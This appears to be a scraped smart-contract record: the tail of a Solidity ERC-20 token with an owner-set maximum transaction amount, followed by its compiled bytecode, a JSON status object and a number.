xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208bcc99a1965b15e5786a6105ec2a8ae87c4d40b470952d4d5460eb60c28a9d2264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,899